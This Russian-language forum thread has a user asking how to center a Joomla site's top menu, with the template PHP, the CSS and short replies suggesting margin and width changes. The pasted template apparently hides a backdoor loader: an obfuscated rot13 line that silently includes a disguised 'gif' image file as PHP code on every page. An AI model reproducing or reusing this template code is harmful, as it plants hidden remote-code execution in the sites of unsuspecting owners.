Как сделать меню посередине?

shellon · 11.08.2011

Здравствуйте!
Подскажите, пожалуйста, как сделать чтобы горизонтальное меню "Главная Описание Joomla Лицензия Joomla! и т.д." выравнивалось по-середине?

Вот адрес:
http://shellon.jino.ru/3/index.php

Заранее спасибо!)

Код шаблона:

<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />

<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>

<div id="main_bg">
<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="" align="left" /><?php endif; ?><a href="index.php" class="logo" title=""><?php echo $mainframe->getCfg('sitename') ;?></a>
<?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?></div>
<div id="main_top"><jdoc:include type="modules" name="top" /></div>
<div id="top_menu"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_menu_left.png" alt="" align="left" /><div id="topnav"><?php $hmenu->genHMenu (0); ?></div><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top_menu_right.png" alt="" align="right" /><br clear="all" /></div>

<?php if($this->countModules('left')) : ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<?php endif; ?>
<?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="right" style="xhtml"/>
<br />
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php endif; ?>
<br clear="all" />
</div>

<div id="f_area">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" />
</div>

<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>

<jdoc:include type="modules" name="debug" />
</body>
</html>
Нажмите, чтобы раскрыть...

Наши спонсоры

TroL · 11.08.2011

css знаешь? нет?! тогда учи пригодится! надо дописать margin: 0 auto; в файле шаблона ксс

xaknet · 12.08.2011

Как ты создаешь сайт о Joomla если ты не знаешь всю систему или хотябы css верстку. FireBug тебе в помощь , а также и гугл!

umbabaraumba · 12.08.2011

Попробуйте ширину больше сделать

#topnav {
float: left;
font-weight: bold;
height: 54px;
margin-bottom: 0;
margin-left: 0;
margin-right: 0;
margin-top: 0;
padding-bottom: 0;
padding-left: 0;
padding-right: 0;
padding-top: 0;
width: 952px;

shellon · 12.08.2011

xaknet сказал(а): ↑

Как ты создаешь сайт о Joomla если ты не знаешь всю систему или хотябы css верстку. FireBug тебе в помощь , а также и гугл!
Нажмите, чтобы раскрыть...

Этот сайт не о Joomla))) Это стандартное наполнение. Сейчас работаю над дизайном.

Ничего не получается!
Вот CSS. Помогите, пожалуйста. Что и где нужно исправить???

/*****************************/
/*** Core html setup stuff ***/
/*****************************/

html {
height: 100%;
margin-bottom: 1px;
}

form {
display:inline;
}

body {
margin: 0px 0px 0px 0px;
width: 100%;
display: table;
background:url(../images/bg_page.png) top repeat-x #FFE382;
}

body, td{
font-family: "Trebuchet MS";
font-size: 13px;
color: #333;
line-height: 1.3em;
}

a:link, a:visited {
text-decoration: none;
font-weight: normal;
}

a:hover {
text-decoration: underline;
font-weight: normal;
}

input.button { cursor: pointer; }

p { margin-top: 0; margin-bottom: 5px; }

img { border: 0 none; margin:0px; }

/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#page_bg {
padding: 0px;
margin: 0px;
margin-bottom: 0px;
background: #FFF url(../images/bg_page.png) top repeat-x;
}

div#top_menu{
height:54px;
margin: 0 auto;
width: 978px;
}

#topnav{ height: 54px; width:952px; margin: 0px auto; padding:0px; font-weight: bold; float:left; }
#topnav ul { margin: 0px 0px 0px 11px; padding: 0; width: auto; float: left; list-style-type:none; }
#topnav ul li{ margin: 0; padding: 0; height: 54px; float: left; position: relative; }
#topnav ul li a{ color: #FFFFFF; font-weight: bold; text-decoration: none; padding: 14px 10px 0px 10px; height:40px; display: block; float: left; }
#topnav ul li a:hover{ background-color: #444444; text-decoration: none; font-weight: bold; color: #fff; }
#topnav ul li ul ul { margin: -50px 0 0 297px; z-index: 100; }
#topnav ul li li { width:auto; height: 35px; }
#topnav ul li li a { color: #fff; text-transform: none; display: block; background: none; width: 277px; border-top: 1px solid #DDDDDD; border-left: 0px; padding: 9px 10px 6px 10px; height:20px; }
#topnav ul li li a:hover{ background: none; background-color: #333333; left: 0; width: 277px; padding: 9px 10px 6px 10px; height:20px; border-top: 1px solid #DDDDDD; }
#topnav ul li ul { left: -999em; top: 54px; left: 0; display: block; height: 36px; width: 277px; position: absolute; z-index: 99; left: -999em; clear: left; margin-top: 0px; margin-left: 0px; }
#topnav ul li:hover ul ul, #topnav ul li:hover ul ul ul { left: -999em; }
#topnav ul li:hover ul, #topnav ul li li:hover ul, #topnav ul li li li:hover ul { left: auto; }

div#main_bg{
margin:0px auto;
width: 978px;
text-align:left;
background:#fff;
}

div#h_area{
background: #FFF url(../images/h_area_bg.jpg) top center no-repeat;
margin:0px auto;
width: 964px;
height:71px;
text-align:left;
padding-left:14px;
padding-top:10px;
}

.logo{
display: block;
float:left;
padding-top:0px;
margin-bottom:10px;
margin-left:10px;
width:600px;
}
a.logo,a.logo:link,a.logo:hover, a.logo:visited{
font-size:30px;
font-weight:bold;
line-height: 58px;
color:#333;
text-decoration:none;
font-family:Arial;
}

div#user4{
float:right;
text-align:left;
margin-right: 20px;
}

div#user4 div.search{
width:220px;
height:46px;
text-align:left;
padding-top: 5px;
background: url(../images/search_bg.gif) top left no-repeat;
}
div#user4 div.search .inputbox {
background:#FFFFFF;
width: 150px;
height: 16px;
margin-left: 60px;
font-size: 11px;
color: #454545;
padding:5px 2px 2px 2px;
border: 1px solid #D3D3D3;
}

div#main_top{
width:978px;
height:273px;
background: url(../images/banner1.jpg) top center no-repeat;
}
div#main_top table.contentpaneopen{
padding:0px;
margin-top:60px;
margin-right:80px;
width:430px;
height:149px;
overflow: auto;
text-align:left;
color: #FFF;
float:right;
}
div#main_top table.contentpaneopen td{
color:#FFF;
}
div#main_top table.contentpaneopen a, div#main_top table.contentpaneopen a:link{
color:#FFF;
}

.search {
text-align:left;
width: 156px;
height:43px;
}
.search .inputbox {
background:#FFFFFF;
width: 156px;
height: 17px;
font-size: 11px;
color: #454545;
margin:9px 0px 0px 20px;
border: 1px solid #D3D3D3;
}

#leftcolumn{
margin-left:9px;
padding:0px;
width:205px;
float:left;
}
#rightcolumn{
margin-right:9px;
padding:0px;
width:205px;
float:right;
}

#maincolumn{
width:530px;
float:left;
margin:0px 5px 0px 5px;
padding:0px;
overflow:hidden;
}
#maincolumn_middle{
width: 740px;
float:left;
margin:0px 5px 0px 5px;
padding:0px;
overflow:hidden;
}
#maincolumn_big{
width: 967px;
float:left;
margin:0px 5px 0px 5px;
padding:0px;
overflow:hidden;
}

div.path{
margin:10px 0 0 0px;
padding: 5px;
}

div.nopad {
float:left;
padding:0 0px 15px 0px;
}

div.nopad ul {
clear: both;
}
.article_separator {
height:35px;
line-height:35px;
}
form#form-login fieldset {
border: none;
margin: 0;
margin-left:10px;
}
form#form-login ul li{
padding: 0;
}

form#form-login ul li a {
text-align: left;
padding: 0px;
font-size: 10px;
color: #858585;
}

#leftcolumn div.module_menu, #leftcolumn div.module{
margin: 10px 0px 0px 0px;
padding:0px;
width: 205px;
}
.article_column {
padding-right:10px;
}
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
margin: 10px 0px 0px 0px;
padding: 0px;
width: 205px;
}
div.bannergroup_text {
margin:0px 13px 15px 13px;
}
.bannerheader {
font-weight:bold;
margin-bottom:10px;
}
.banneritem_text {
margin-bottom:10px;
}
.bannerfooter_text {
margin-bottom:10px;
}
#leftcolumn div.module_menu div div div, #leftcolumn div.module div div div,
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
background: url(../images/rub_bottom.png) center bottom no-repeat;
}
#leftcolumn div.module_menu div div div, #leftcolumn div.module div div{
margin: 0px;
padding: 0px;
padding-bottom:5px;
width: 205px;
height:auto;
}

#leftcolumn div.module_menu div div div div, #leftcolumn div.module div div div div{
background: none;
padding:4px 8px;
}
#leftcolumn h3,
#rightcolumn h3{
text-align: left;
padding-left:15px;
height: 42px;
width: 190px;
line-height: 40px;
color:#FFFFFF;
font-size:16px;
margin:0px;
font-weight:bold;
}
table.poll thead td {
text-align: left;
padding-left:10px;
}
table.poll td {
text-align: left;
}
#leftcolumn ul.menu li ul{
list-style: none;
}
.pollstableborder {
margin: 5px 0px 10px 0px;
}
.poll td div{
display:inline;
}

/* forms */

#leftcolumn .moduletable ul,
#rightcolumn .moduletable ul {
margin: 6px 0;
padding: 0;
list-style: none;
}

#leftcolumn .moduletable ul li,
#rightcolumn .moduletable ul li {
margin: 0;
padding: 0 2px;
}
.moduletable ul {
padding:5px 10px 5px 12px;
margin:0px;
}

.moduletable ul li {
padding:0px 10px 5px 15px;
margin:0px;
line-height:18px;
}
#leftcolumn ul.menu li#current ul li,
#rightcolumn ul.menu li#current ul li {
margin: 0px;
padding: 0px;
}
ul.menu {
padding:5px 10px 5px 12px;
margin:0px;
}
ul.menu li{
padding:0px 10px 5px 15px;
margin:0px;
}

ul.menu li ul {
padding:0px 0px 5px 0px;
margin:0px;
}
ul.menu li ul li{
padding:0px 0px 0px 15px;
border:none;
}
ul.menu li#current ul li a{
margin-left:15px;
text-decoration:none;
}
ul.mostread {
padding:5px 10px 5px 12px;
margin:0px;
}
ul.mostread li{
padding:0px 10px 5px 15px;
margin:0px;
line-height:18px;
}
ul.latestnews {
padding:5px 10px 5px 12px;
margin:0px;
}
ul.latestnews li{
padding:0px 10px 5px 15px;
margin:0px;
line-height:18px;
}
div.componentheading{
font-size:16px;
font-size:19px;
margin:7px auto;
}
td.contentheading{
font-weight:normal;
vertical-align:top;
font-size:19px;
height:30px;
color:#9E9E9B;
background: url(../images/contentheading_ico.png) left top no-repeat;
}
table.contentpaneopen td.contentheading{
padding-left:34px;
}
table.contentpaneopen{
border-collapse: collapse;
margin-left:5px;
}
td.buttonheading{
padding:0px 2px 0px 2px;
}
table.contentpaneopen td{
padding:0px;
}
.contentpaneopen p{
line-height:22px;
}
span.small, td.createdate, td.modifydate{
font-size:11px;
color:#FFFFFF;
}
span.pagination span, span.pagination a{
padding:5px;
}

div#f_area{
background: #CBCBCB url(../images/f_area_bg.png) top repeat-x;
margin:0px auto;
width: 978px;
text-align:left;
margin-bottom:3px;
}
#f_area div.moduletable, #f_area div.moduletable_menu{
float: left;
margin:20px 4px 10px 6px;
width: 234px;
}
#f_area h3{
text-align:center;
vertical-align:bottom;
height: 30px;
width: 234px;
color:#FFFFFF;
font-size:17px;
font-family:"Trebuchet MS", Tahoma, Verdana;
margin:0px;
padding-top:20px;
}

/* System Standard Messages */
#system-message { margin-bottom: 20px; }

#system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;}

/* System Error Messages */
#system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

/* System Notice Messages */
#system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;}

#syndicate{
float:left;
padding-left: 25px;
}
Нажмите, чтобы раскрыть...

shellon · 15.08.2011

UPUPUPUP

shellon · 15.08.2011

Что, никто не знает как это делается???(((

shellon · 16.08.2011

UPUPUPUPUP

Войти или зарегистрироваться

Как сделать меню посередине?

shellon Недавно здесь

Наши спонсоры

TroL Недавно здесь => Cпециалист <=

xaknet Недавно здесь

umbabaraumba Активист => Cпециалист <=

shellon Недавно здесь

shellon Недавно здесь

shellon Недавно здесь

shellon Недавно здесь

Поделиться этой страницей

Войти или зарегистрироваться

Как сделать меню посередине?

shellon Недавно здесь

Наши спонсоры

TroL Недавно здесь => Cпециалист <=

xaknet Недавно здесь

umbabaraumba Активист => Cпециалист <=

shellon Недавно здесь

shellon Недавно здесь

shellon Недавно здесь

shellon Недавно здесь

Поделиться этой страницей

Быстрый поиск